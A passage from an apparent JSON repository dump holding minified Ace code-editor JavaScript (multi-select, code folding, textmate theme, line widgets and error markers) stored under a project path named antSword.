r=e(\"./range_list\").RangeList,i=e(\"./range\").Range,s=e(\"./selection\").Selection,o=e(\"./mouse/multi_select_handler\").onMouseDown,u=e(\"./lib/event\"),a=e(\"./lib/lang\"),f=e(\"./commands/multi_select_commands\");t.commands=f.defaultCommands.concat(f.multiSelectCommands);var l=e(\"./search\").Search,c=new l,p=e(\"./edit_session\").EditSession;(function(){this.getSelectionMarkers=function(){return this.$selectionMarkers}}).call(p.prototype),function(){this.ranges=null,this.rangeList=null,this.addRange=function(e,t){if(!e)return;if(!this.inMultiSelectMode&&this.rangeCount===0){var n=this.toOrientedRange();this.rangeList.add(n),this.rangeList.add(e);if(this.rangeList.ranges.length!=2)return this.rangeList.removeAll(),t||this.fromOrientedRange(e);this.rangeList.removeAll(),this.rangeList.add(n),this.$onAddRange(n)}e.cursor||(e.cursor=e.end);var r=this.rangeList.add(e);return this.$onAddRange(e),r.length&&this.$onRemoveRange(r),this.rangeCount>1&&!this.inMultiSelectMode&&(this._signal(\"multiSelect\"),this.inMultiSelectMode=!0,this.session.$undoSelect=!1,this.rangeList.attach(this.session)),t||this.fromOrientedRange(e)},this.toSingleRange=function(e){e=e||this.ranges[0];var t=this.rangeList.removeAll();t.length&&this.$onRemoveRange(t),e&&this.fromOrientedRange(e)},this.substractPoint=function(e){var t=this.rangeList.substractPoint(e);if(t)return this.$onRemoveRange(t),t[0]},this.mergeOverlappingRanges=function(){var e=this.rangeList.merge();e.length?this.$onRemoveRange(e):this.ranges[0]&&this.fromOrientedRange(this.ranges[0])},this.$onAddRange=function(e){this.rangeCount=this.rangeList.ranges.length,this.ranges.unshift(e),this._signal(\"addRange\",{range:e})},this.$onRemoveRange=function(e){this.rangeCount=this.rangeList.ranges.length;if(this.rangeCount==1&&this.inMultiSelectMode){var t=this.rangeList.ranges.pop();e.push(t),this.rangeCount=0}for(var n=e.length;n--;){var r=this.ranges.indexOf(e[n]);this.ranges.splice(r,1)}this._signal(\"removeRange\",{ranges:e}),this.rangeCount===0&&this.inMultiSelectMode&&(this.inMultiSelectMode=!1,this._signal(\"singleSelect\"),this.session.$undoSelect=!0,this.rangeList.detach(this.session)),t=t||this.ranges[0],t&&!t.isEqual(this.getRange())&&this.fromOrientedRange(t)},this.$initRangeList=function(){if(this.rangeList)return;this.rangeList=new r,this.ranges=[],this.rangeCount=0},this.getAllRanges=function(){return this.rangeCount?this.rangeList.ranges.concat():[this.getRange()]},this.splitIntoLines=function(){if(this.rangeCount>1){var e=this.rangeList.ranges,t=e[e.length-1],n=i.fromPoints(e[0].start,t.end);this.toSingleRange(),this.setSelectionRange(n,t.cursor==t.start)}else{var n=this.getRange(),r=this.isBackwards(),s=n.start.row,o=n.end.row;if(s==o){if(r)var u=n.end,a=n.start;else var u=n.start,a=n.end;this.addRange(i.fromPoints(a,a)),this.addRange(i.fromPoints(u,u));return}var f=[],l=this.getLineRange(s,!0);l.start.column=n.start.column,f.push(l);for(var c=s+1;c<o;c++)f.push(this.getLineRange(c,!0));l=this.getLineRange(o,!0),l.end.column=n.end.column,f.push(l),f.forEach(this.addRange,this)}},this.toggleBlockSelection=function(){if(this.rangeCount>1){var e=this.rangeList.ranges,t=e[e.length-1],n=i.fromPoints(e[0].start,t.end);this.toSingleRange(),this.setSelectionRange(n,t.cursor==t.start)}else{var r=this.session.documentToScreenPosition(this.selectionLead),s=this.session.documentToScreenPosition(this.selectionAnchor),o=this.rectangularRangeBlock(r,s);o.forEach(this.addRange,this)}},this.rectangularRangeBlock=function(e,t,n){var r=[],s=e.column<t.column;if(s)var o=e.column,u=t.column;else var o=t.column,u=e.column;var a=e.row<t.row;if(a)var f=e.row,l=t.row;else var f=t.row,l=e.row;o<0&&(o=0),f<0&&(f=0),f==l&&(n=!0);for(var c=f;c<=l;c++){var h=i.fromPoints(this.session.screenToDocumentPosition(c,o),this.session.screenToDocumentPosition(c,u));if(h.isEmpty()){if(p&&v(h.end,p))break;var p=h.end}h.cursor=s?h.start:h.end,r.push(h)}a&&r.reverse();if(!n){var d=r.length-1;while(r[d].isEmpty()&&d>0)d--;if(d>0){var m=0;while(r[m].isEmpty())m++}for(var g=d;g>=m;g--)r[g].isEmpty()&&r.splice(g,1)}return r}}.call(s.prototype);var d=e(\"./editor\").Editor;(function(){this.updateSelectionMarkers=function(){this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.addSelectionMarker=function(e){e.cursor||(e.cursor=e.end);var t=this.getSelectionStyle();return e.marker=this.session.addMarker(e,\"ace_selection\",t),this.session.$selectionMarkers.push(e),this.session.selectionMarkerCount=this.session.$selectionMarkers.length,e},this.removeSelectionMarker=function(e){if(!e.marker)return;this.session.removeMarker(e.marker);var t=this.session.$selectionMarkers.indexOf(e);t!=-1&&this.session.$selectionMarkers.splice(t,1),this.session.selectionMarkerCount=this.session.$selectionMarkers.length},this.removeSelectionMarkers=function(e){var t=this.session.$selectionMarkers;for(var n=e.length;n--;){var r=e[n];if(!r.marker)continue;this.session.removeMarker(r.marker);var i=t.indexOf(r);i!=-1&&t.splice(i,1)}this.session.selectionMarkerCount=t.length},this.$onAddRange=function(e){this.addSelectionMarker(e.range),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onRemoveRange=function(e){this.removeSelectionMarkers(e.ranges),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onMultiSelect=function(e){if(this.inMultiSelectMode)return;this.inMultiSelectMode=!0,this.setStyle(\"ace_multiselect\"),this.keyBinding.addKeyboardHandler(f.keyboardHandler),this.commands.setDefaultHandler(\"exec\",this.$onMultiSelectExec),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onSingleSelect=function(e){if(this.session.multiSelect.inVirtualMode)return;this.inMultiSelectMode=!1,this.unsetStyle(\"ace_multiselect\"),this.keyBinding.removeKeyboardHandler(f.keyboardHandler),this.commands.removeDefaultHandler(\"exec\",this.$onMultiSelectExec),this.renderer.updateCursor(),this.renderer.updateBackMarkers(),this._emit(\"changeSelection\")},this.$onMultiSelectExec=function(e){var t=e.command,n=e.editor;if(!n.multiSelect)return;if(!t.multiSelectAction){var r=t.exec(n,e.args||{});n.multiSelect.addRange(n.multiSelect.toOrientedRange()),n.multiSelect.mergeOverlappingRanges()}else t.multiSelectAction==\"forEach\"?r=n.forEachSelection(t,e.args):t.multiSelectAction==\"forEachLine\"?r=n.forEachSelection(t,e.args,!0):t.multiSelectAction==\"single\"?(n.exitMultiSelectMode(),r=t.exec(n,e.args||{})):r=t.multiSelectAction(n,e.args||{});return r},this.forEachSelection=function(e,t,n){if(this.inVirtualSelectionMode)return;var r=n&&n.keepOrder,i=n==1||n&&n.$byLines,o=this.session,u=this.selection,a=u.rangeList,f=(r?u:a).ranges,l;if(!f.length)return e.exec?e.exec(this,t||{}):e(this,t||{});var c=u._eventRegistry;u._eventRegistry={};var h=new s(o);this.inVirtualSelectionMode=!0;for(var p=f.length;p--;){if(i)while(p>0&&f[p].start.row==f[p-1].end.row)p--;h.fromOrientedRange(f[p]),h.index=p,this.selection=o.selection=h;var d=e.exec?e.exec(this,t||{}):e(this,t||{});!l&&d!==undefined&&(l=d),h.toOrientedRange(f[p])}h.detach(),this.selection=o.selection=u,this.inVirtualSelectionMode=!1,u._eventRegistry=c,u.mergeOverlappingRanges();var v=this.renderer.$scrollAnimation;return this.onCursorChange(),this.onSelectionChange(),v&&v.from==v.to&&this.renderer.animateScrolling(v.from),l},this.exitMultiSelectMode=function(){if(!this.inMultiSelectMode||this.inVirtualSelectionMode)return;this.multiSelect.toSingleRange()},this.getSelectedText=function(){var e=\"\";if(this.inMultiSelectMode&&!this.inVirtualSelectionMode){var t=this.multiSelect.rangeList.ranges,n=[];for(var r=0;r<t.length;r++)n.push(this.session.getTextRange(t[r]));var i=this.session.getDocument().getNewLineCharacter();e=n.join(i),e.length==(n.length-1)*i.length&&(e=\"\")}else this.selection.isEmpty()||(e=this.session.getTextRange(this.getSelectionRange()));return e},this.$checkMultiselectChange=function(e,t){if(this.inMultiSelectMode&&!this.inVirtualSelectionMode){var n=this.multiSelect.ranges[0];if(this.multiSelect.isEmpty()&&t==this.multiSelect.anchor)return;var r=t==this.multiSelect.anchor?n.cursor==n.start?n.end:n.start:n.cursor;(r.row!=t.row||this.session.$clipPositionToDocument(r.row,r.column).column!=t.column)&&this.multiSelect.toSingleRange(this.multiSelect.toOrientedRange())}},this.findAll=function(e,t,n){t=t||{},t.needle=e||t.needle;if(t.needle==undefined){var r=this.selection.isEmpty()?this.selection.getWordRange():this.selection.getRange();t.needle=this.session.getTextRange(r)}this.$search.set(t);var i=this.$search.findAll(this.session);if(!i.length)return 0;this.$blockScrolling+=1;var s=this.multiSelect;n||s.toSingleRange(i[0]);for(var o=i.length;o--;)s.addRange(i[o],!0);return r&&s.rangeList.rangeAtPoint(r.start)&&s.addRange(r,!0),this.$blockScrolling-=1,i.length},this.selectMoreLines=function(e,t){var n=this.selection.toOrientedRange(),r=n.cursor==n.end,s=this.session.documentToScreenPosition(n.cursor);this.selection.$desiredColumn&&(s.column=this.selection.$desiredColumn);var o=this.session.screenToDocumentPosition(s.row+e,s.column);if(!n.isEmpty())var u=this.session.documentToScreenPosition(r?n.end:n.start),a=this.session.screenToDocumentPosition(u.row+e,u.column);else var a=o;if(r){var f=i.fromPoints(o,a);f.cursor=f.start}else{var f=i.fromPoints(a,o);f.cursor=f.end}f.desiredColumn=s.column;if(!this.selection.inMultiSelectMode)this.selection.addRange(n);else if(t)var l=n.cursor;this.selection.addRange(f),l&&this.selection.substractPoint(l)},this.transposeSelections=function(e){var t=this.session,n=t.multiSelect,r=n.ranges;for(var i=r.length;i--;){var s=r[i];if(s.isEmpty()){var o=t.getWordRange(s.start.row,s.start.column);s.start.row=o.start.row,s.start.column=o.start.column,s.end.row=o.end.row,s.end.column=o.end.column}}n.mergeOverlappingRanges();var u=[];for(var i=r.length;i--;){var s=r[i];u.unshift(t.getTextRange(s))}e<0?u.unshift(u.pop()):u.push(u.shift());for(var i=r.length;i--;){var s=r[i],o=s.clone();t.replace(s,u[i]),s.start.row=o.start.row,s.start.column=o.start.column}},this.selectMore=function(e,t,n){var r=this.session,i=r.multiSelect,s=i.toOrientedRange();if(s.isEmpty()){s=r.getWordRange(s.start.row,s.start.column),s.cursor=e==-1?s.start:s.end,this.multiSelect.addRange(s);if(n)return}var o=r.getTextRange(s),u=h(r,o,e);u&&(u.cursor=e==-1?u.start:u.end,this.$blockScrolling+=1,this.session.unfold(u),this.multiSelect.addRange(u),this.$blockScrolling-=1,this.renderer.scrollCursorIntoView(null,.5)),t&&this.multiSelect.substractPoint(s.cursor)},this.alignCursors=function(){var e=this.session,t=e.multiSelect,n=t.ranges,r=-1,s=n.filter(function(e){if(e.cursor.row==r)return!0;r=e.cursor.row});if(!n.length||s.length==n.length-1){var o=this.selection.getRange(),u=o.start.row,f=o.end.row,l=u==f;if(l){var c=this.session.getLength(),h;do h=this.session.getLine(f);while(/[=:]/.test(h)&&++f<c);do h=this.session.getLine(u);while(/[=:]/.test(h)&&--u>0);u<0&&(u=0),f>=c&&(f=c-1)}var p=this.session.removeFullLines(u,f);p=this.$reAlignText(p,l),this.session.insert({row:u,column:0},p.join(\"\\n\")+\"\\n\"),l||(o.start.column=0,o.end.column=p[p.length-1].length),this.selection.setRange(o)}else{s.forEach(function(e){t.substractPoint(e.cursor)});var d=0,v=Infinity,m=n.map(function(t){var n=t.cursor,r=e.getLine(n.row),i=r.substr(n.column).search(/\\S/g);return i==-1&&(i=0),n.column>d&&(d=n.column),i<v&&(v=i),i});n.forEach(function(t,n){var r=t.cursor,s=d-r.column,o=m[n]-v;s>o?e.insert(r,a.stringRepeat(\" \",s-o)):e.remove(new i(r.row,r.column,r.row,r.column-s+o)),t.start.column=t.end.column=d,t.start.row=t.end.row=r.row,t.cursor=t.end}),t.fromOrientedRange(n[0]),this.renderer.updateCursor(),this.renderer.updateBackMarkers()}},this.$reAlignText=function(e,t){function u(e){return a.stringRepeat(\" \",e)}function f(e){return e[2]?u(i)+e[2]+u(s-e[2].length+o)+e[4].replace(/^([=:])\\s+/,\"$1 \"):e[0]}function l(e){return e[2]?u(i+s-e[2].length)+e[2]+u(o,\" \")+e[4].replace(/^([=:])\\s+/,\"$1 \"):e[0]}function c(e){return e[2]?u(i)+e[2]+u(o)+e[4].replace(/^([=:])\\s+/,\"$1 \"):e[0]}var n=!0,r=!0,i,s,o;return e.map(function(e){var t=e.match(/(\\s*)(.*?)(\\s*)([=:].*)/);return t?i==null?(i=t[1].length,s=t[2].length,o=t[3].length,t):(i+s+o!=t[1].length+t[2].length+t[3].length&&(r=!1),i!=t[1].length&&(n=!1),i>t[1].length&&(i=t[1].length),s<t[2].length&&(s=t[2].length),o>t[3].length&&(o=t[3].length),t):[e]}).map(t?f:n?r?l:f:c)}}).call(d.prototype),t.onSessionChange=function(e){var t=e.session;t&&!t.multiSelect&&(t.$selectionMarkers=[],t.selection.$initRangeList(),t.multiSelect=t.selection),this.multiSelect=t&&t.multiSelect;var n=e.oldSession;n&&(n.multiSelect.off(\"addRange\",this.$onAddRange),n.multiSelect.off(\"removeRange\",this.$onRemoveRange),n.multiSelect.off(\"multiSelect\",this.$onMultiSelect),n.multiSelect.off(\"singleSelect\",this.$onSingleSelect),n.multiSelect.lead.off(\"change\",this.$checkMultiselectChange),n.multiSelect.anchor.off(\"change\",this.$checkMultiselectChange)),t&&(t.multiSelect.on(\"addRange\",this.$onAddRange),t.multiSelect.on(\"removeRange\",this.$onRemoveRange),t.multiSelect.on(\"multiSelect\",this.$onMultiSelect),t.multiSelect.on(\"singleSelect\",this.$onSingleSelect),t.multiSelect.lead.on(\"change\",this.$checkMultiselectChange),t.multiSelect.anchor.on(\"change\",this.$checkMultiselectChange)),t&&this.inMultiSelectMode!=t.selection.inMultiSelectMode&&(t.selection.inMultiSelectMode?this.$onMultiSelect():this.$onSingleSelect())},t.MultiSelect=m,e(\"./config\").defineOptions(d.prototype,\"editor\",{enableMultiselect:{set:function(e){m(this),e?(this.on(\"changeSession\",this.$multiselectOnSessionChange),this.on(\"mousedown\",o)):(this.off(\"changeSession\",this.$multiselectOnSessionChange),this.off(\"mousedown\",o))},value:!0},enableBlockSelect:{set:function(e){this.$blockSelectEnabled=e},value:!0}})}),ace.define(\"ace/mode/folding/fold_mode\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../range\").Range,i=t.FoldMode=function(){};(function(){this.foldingStartMarker=null,this.foldingStopMarker=null,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);return this.foldingStartMarker.test(r)?\"start\":t==\"markbeginend\"&&this.foldingStopMarker&&this.foldingStopMarker.test(r)?\"end\":\"\"},this.getFoldWidgetRange=function(e,t,n){return null},this.indentationBlock=function(e,t,n){var i=/\\S/,s=e.getLine(t),o=s.search(i);if(o==-1)return;var u=n||s.length,a=e.getLength(),f=t,l=t;while(++t<a){var c=e.getLine(t).search(i);if(c==-1)continue;if(c<=o)break;l=t}if(l>f){var h=e.getLine(l).length;return new r(f,u,l,h)}},this.openingBracketBlock=function(e,t,n,i,s){var o={row:n,column:i+1},u=e.$findClosingBracket(t,o,s);if(!u)return;var a=e.foldWidgets[u.row];return a==null&&(a=e.getFoldWidget(u.row)),a==\"start\"&&u.row>o.row&&(u.row--,u.column=e.getLine(u.row).length),r.fromPoints(o,u)},this.closingBracketBlock=function(e,t,n,i,s){var o={row:n,column:i},u=e.$findOpeningBracket(t,o);if(!u)return;return u.column++,o.column--,r.fromPoints(u,o)}}).call(i.prototype)}),ace.define(\"ace/theme/textmate\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";t.isDark=!1,t.cssClass=\"ace-tm\",t.cssText='.ace-tm .ace_gutter {background: #f0f0f0;color: #333;}.ace-tm .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-tm .ace_fold {background-color: #6B72E6;}.ace-tm {background-color: #FFFFFF;color: black;}.ace-tm .ace_cursor {color: black;}.ace-tm .ace_invisible {color: rgb(191, 191, 191);}.ace-tm .ace_storage,.ace-tm .ace_keyword {color: blue;}.ace-tm .ace_constant {color: rgb(197, 6, 11);}.ace-tm .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-tm .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-tm .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-tm .ace_invalid {background-color: rgba(255, 0, 0, 0.1);color: red;}.ace-tm .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-tm .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-tm .ace_support.ace_type,.ace-tm .ace_support.ace_class {color: rgb(109, 121, 222);}.ace-tm .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-tm .ace_string {color: rgb(3, 106, 7);}.ace-tm .ace_comment {color: rgb(76, 136, 107);}.ace-tm .ace_comment.ace_doc {color: rgb(0, 102, 255);}.ace-tm .ace_comment.ace_doc.ace_tag {color: rgb(128, 159, 191);}.ace-tm .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-tm .ace_variable {color: rgb(49, 132, 149);}.ace-tm .ace_xml-pe {color: rgb(104, 104, 91);}.ace-tm .ace_entity.ace_name.ace_function {color: #0000A2;}.ace-tm .ace_heading {color: rgb(12, 7, 255);}.ace-tm .ace_list {color:rgb(185, 6, 144);}.ace-tm .ace_meta.ace_tag {color:rgb(0, 22, 142);}.ace-tm .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-tm .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-tm.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px white;}.ace-tm .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-tm .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-tm .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-tm .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-tm .ace_gutter-active-line {background-color : #dcdcdc;}.ace-tm .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-tm .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)}),ace.define(\"ace/line_widgets\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/dom\",\"ace/range\"],function(e,t,n){\"use strict\";function o(e){this.session=e,this.session.widgetManager=this,this.session.getRowLength=this.getRowLength,this.session.$getWidgetScreenLength=this.$getWidgetScreenLength,this.updateOnChange=this.updateOnChange.bind(this),this.renderWidgets=this.renderWidgets.bind(this),this.measureWidgets=this.measureWidgets.bind(this),this.session._changedWidgets=[],this.$onChangeEditor=this.$onChangeEditor.bind(this),this.session.on(\"change\",this.updateOnChange),this.session.on(\"changeEditor\",this.$onChangeEditor)}var r=e(\"./lib/oop\"),i=e(\"./lib/dom\"),s=e(\"./range\").Range;(function(){this.getRowLength=function(e){var t;return this.lineWidgets?t=this.lineWidgets[e]&&this.lineWidgets[e].rowCount||0:t=0,!this.$useWrapMode||!this.$wrapData[e]?1+t:this.$wrapData[e].length+1+t},this.$getWidgetScreenLength=function(){var e=0;return this.lineWidgets.forEach(function(t){t&&t.rowCount&&(e+=t.rowCount)}),e},this.$onChangeEditor=function(e){this.attach(e.editor)},this.attach=function(e){e&&e.widgetManager&&e.widgetManager!=this&&e.widgetManager.detach();if(this.editor==e)return;this.detach(),this.editor=e,e&&(e.widgetManager=this,e.renderer.on(\"beforeRender\",this.measureWidgets),e.renderer.on(\"afterRender\",this.renderWidgets))},this.detach=function(e){var t=this.editor;if(!t)return;this.editor=null,t.widgetManager=null,t.renderer.off(\"beforeRender\",this.measureWidgets),t.renderer.off(\"afterRender\",this.renderWidgets);var n=this.session.lineWidgets;n&&n.forEach(function(e){e&&e.el&&e.el.parentNode&&(e._inDocument=!1,e.el.parentNode.removeChild(e.el))})},this.updateOnChange=function(e){var t=this.session.lineWidgets;if(!t)return;var n=e.start.row,r=e.end.row-n;if(r!==0)if(e.action==\"remove\"){var i=t.splice(n+1,r);i.forEach(function(e){e&&this.removeLineWidget(e)},this),this.$updateRows()}else{var s=new Array(r);s.unshift(n,0),t.splice.apply(t,s),this.$updateRows()}},this.$updateRows=function(){var e=this.session.lineWidgets;if(!e)return;var t=!0;e.forEach(function(e,n){e&&(t=!1,e.row=n)}),t&&(this.session.lineWidgets=null)},this.addLineWidget=function(e){this.session.lineWidgets||(this.session.lineWidgets=new Array(this.session.getLength())),this.session.lineWidgets[e.row]=e;var t=this.editor.renderer;return e.html&&!e.el&&(e.el=i.createElement(\"div\"),e.el.innerHTML=e.html),e.el&&(i.addCssClass(e.el,\"ace_lineWidgetContainer\"),e.el.style.position=\"absolute\",e.el.style.zIndex=5,t.container.appendChild(e.el),e._inDocument=!0),e.coverGutter||(e.el.style.zIndex=3),e.pixelHeight||(e.pixelHeight=e.el.offsetHeight),e.rowCount==null&&(e.rowCount=e.pixelHeight/t.layerConfig.lineHeight),this.session._emit(\"changeFold\",{data:{start:{row:e.row}}}),this.$updateRows(),this.renderWidgets(null,t),e},this.removeLineWidget=function(e){e._inDocument=!1,e.el&&e.el.parentNode&&e.el.parentNode.removeChild(e.el);if(e.editor&&e.editor.destroy)try{e.editor.destroy()}catch(t){}this.session.lineWidgets&&(this.session.lineWidgets[e.row]=undefined),this.session._emit(\"changeFold\",{data:{start:{row:e.row}}}),this.$updateRows()},this.onWidgetChanged=function(e){this.session._changedWidgets.push(e),this.editor&&this.editor.renderer.updateFull()},this.measureWidgets=function(e,t){var n=this.session._changedWidgets,r=t.layerConfig;if(!n||!n.length)return;var i=Infinity;for(var s=0;s<n.length;s++){var o=n[s];o._inDocument||(o._inDocument=!0,t.container.appendChild(o.el)),o.h=o.el.offsetHeight,o.fixedWidth||(o.w=o.el.offsetWidth,o.screenWidth=Math.ceil(o.w/r.characterWidth));var u=o.h/r.lineHeight;o.coverLine&&(u-=this.session.getRowLineCount(o.row),u<0&&(u=0)),o.rowCount!=u&&(o.rowCount=u,o.row<i&&(i=o.row))}i!=Infinity&&(this.session._emit(\"changeFold\",{data:{start:{row:i}}}),this.session.lineWidgetWidth=null),this.session._changedWidgets=[]},this.renderWidgets=function(e,t){var n=t.layerConfig,r=this.session.lineWidgets;if(!r)return;var i=Math.min(this.firstRow,n.firstRow),s=Math.max(this.lastRow,n.lastRow,r.length);while(i>0&&!r[i])i--;this.firstRow=n.firstRow,this.lastRow=n.lastRow,t.$cursorLayer.config=n;for(var o=i;o<=s;o++){var u=r[o];if(!u||!u.el)continue;u._inDocument||(u._inDocument=!0,t.container.appendChild(u.el));var a=t.$cursorLayer.getPixelPosition({row:o,column:0},!0).top;u.coverLine||(a+=n.lineHeight*this.session.getRowLineCount(u.row)),u.el.style.top=a-n.offset+\"px\";var f=u.coverGutter?0:t.gutterWidth;u.fixedWidth||(f-=t.scrollLeft),u.el.style.left=f+\"px\",u.fixedWidth?u.el.style.right=t.scrollBar.getWidth()+\"px\":u.el.style.right=\"\"}}}).call(o.prototype),t.LineWidgets=o}),ace.define(\"ace/ext/error_marker\",[\"require\",\"exports\",\"module\",\"ace/line_widgets\",\"ace/lib/dom\",\"ace/range\"],function(e,t,n){\"use strict\";function o(e,t,n){var r=0,i=e.length-1;while(r<=i){var s=r+i>>1,o=n(t,e[s]);if(o>0)r=s+1;else{if(!(o<0))return s;i=s-1}}return-(r+1)}function u(e,t,n){var r=e.getAnnotations().sort(s.comparePoints);if(!r.length)return;var i=o(r,{row:t,column:-1},s.comparePoints);i<0&&(i=-i-1),i>=r.length?i=n>0?0:r.length-1:i===0&&n<0&&(i=r.length-1);var u=r[i];if(!u||!n)return;if(u.row===t){do u=r[i+=n];while(u&&u.row===t);if(!u)return r.slice()}var a=[];t=u.row;do a[n<0?\"unshift\":\"push\"](u),u=r[i+=n];while(u&&u.row==t);return a.length&&a}var r=e(\"../line_widgets\").LineWidgets,i=e(\"../lib/dom\"),s=e(\"../range\").Range;t.showErrorMarker=function(e,t){var n=e.session;n.widgetManager||(n.widgetManager=new r(n),n.widgetManager.attach(e));var s=e.getCursorPosition(),o=s.row,a=n.lineWidgets&&n.lineWidgets[o];a?a.destroy():o-=t;var f=u(n,o,t),l;if(f){var c=f[0];s.column=(c.pos&&typeof c.column!=\"number\"?c.pos.sc:c.column)||0,s.row=c.row,l=e.renderer.$gutterLayer.$annotations[s.row]}else{if(a)return;l={text:[\"Looks good!\"],className:\"ace_ok\"}}e.session.unfold(s.row),e.selection.moveToPosition(s);var h={row:s.row,fixedWidth:!0,coverGutter:!0,el:i.createElement(\"div\")},p=h.el.appendChild(i.createElement(\"div\")),d=h.el.appendChild(i.createElement(\"div\"));d.className=\"error_widget_arrow \"+l.className;var v=e.renderer.$cursorLayer.getPixelPosition(s).left;d.style.left=v+e.renderer.gutterWidth-5+\"px\",h.el.className=\"error_widget_wrapper\",p.className=\"error_widget \"+l.className,p.innerHTML=l.text.join(\"<br>\"),p.appendChild(i.createElement(\"div\"));var m=function(e,t,n){if(t===0&&(n===\"esc\"||n===\"return\"))return h.destroy(),{command:\"null\"}};h.destroy=function(){if(e.$mouseHandler.isMousePressed)return;e.keyBinding.removeKeyboardHandler(m),n.widgetManager.removeLineWidget(h),e.off(\"changeSelection\",h.destroy),e.off(\"changeSession\",h.destroy),e.off(\"mouseup\",h.destroy),e.off(\"change\",h.destroy)},e.keyBinding.addKeyboardHandler(m),e.on(\"changeSelection\",h.destroy),e.on(\"changeSession\",h.destroy),e.on(\"mouseup\",h.destroy),e.on(\"change\",h.destroy),e.session.widgetManager.addLineWidget(h),h.el.onmousedown=e.focus.bind(e),e.renderer.scrollCursorIntoView(null,.5,{bottom:h.el.offsetHeight})},i.importCssString(\"    .error_widget_wrapper {        background: inherit;        color: inherit;        border:none    }    .error_widget {        border-top: solid 2px;        border-bottom: solid 2px;        margin: 5px 0;        padding: 10px 40px;        white-space: pre-wrap;    }    .error_widget.ace_error, .error_widget_arrow.ace_error{        border-color: #ff5a5a    }    .error_widget.ace_warning, .error_widget_arrow.ace_warning{        border-color: #F1D817    }    .error_widget.ace_info, .error_widget_arrow.ace_info{        border-color: #5a5a5a    }    .error_widget.ace_ok, .error_widget_arrow.ace_ok{        border-color: #5aaa5a    }    .error_widget_arrow {        position: absolute;        border: solid 5px;        border-top-color: transparent!important;        border-right-color: transparent!important;        border-left-color: transparent!important;        top: -5px;    }\",\"\")}),ace.define(\"ace/ace\",[\"require\",\"exports\",\"module\",\"ace/lib/fixoldbrowsers\",\"ace/lib/dom\",\"ace/lib/event\",\"ace/editor\",\"ace/edit_session\",\"ace/undomanager\",\"ace/virtual_renderer\",\"ace/worker/worker_client\",\"ace/keyboard/hash_handler\",\"ace/placeholder\",\"ace/multi_select\",\"ace/mode/folding/fold_mode\",\"ace/theme/textmate\",\"ace/ext/error_marker\",\"ace/config\"],function(e,t,n){\"use strict\";e(\"./lib/fixoldbrowsers\");var r=e(\"./lib/dom\"),i=e(\"./lib/event\"),s=e(\"./editor\").Editor,o=e(\"./edit_session\").EditSession,u=e(\"./undomanager\").UndoManager,a=e(\"./virtual_renderer\").VirtualRenderer;e(\"./worker/worker_client\"),e(\"./keyboard/hash_handler\"),e(\"./placeholder\"),e(\"./multi_select\"),e(\"./mode/folding/fold_mode\"),e(\"./theme/textmate\"),e(\"./ext/error_marker\"),t.config=e(\"./config\"),t.require=e,t.edit=function(e){if(typeof e==\"string\"){var n=e;e=document.getElementById(n);if(!e)throw new Error(\"ace.edit can't find div #\"+n)}if(e&&e.env&&e.env.editor instanceof s)return e.env.editor;var o=\"\";if(e&&/input|textarea/i.test(e.tagName)){var u=e;o=u.value,e=r.createElement(\"pre\"),u.parentNode.replaceChild(e,u)}else e&&(o=r.getInnerText(e),e.innerHTML=\"\");var f=t.createEditSession(o),l=new s(new a(e));l.setSession(f);var c={document:f,editor:l,onResize:l.resize.bind(l,null)};return u&&(c.textarea=u),i.addListener(window,\"resize\",c.onResize),l.on(\"destroy\",function(){i.removeListener(window,\"resize\",c.onResize),c.editor.container.env=null}),l.container.env=l.env=c,l},t.createEditSession=function(e,t){var n=new o(e,t);return n.setUndoManager(new u),n},t.EditSession=o,t.UndoManager=u});\n            (function() {\n                ace.require([\"ace/ace\"], function(a) {\n                    a && a.config.init(true);\n                    if (!window.ace)\n                        window.ace = a;\n                    for (var key in a) if (a.hasOwnProperty(key))\n                        window.ace[key] = a[key];\n                });\n            })();\n        "
  },
  {
    "path": "antSword/static/libs/ace/ext-beautify.js",
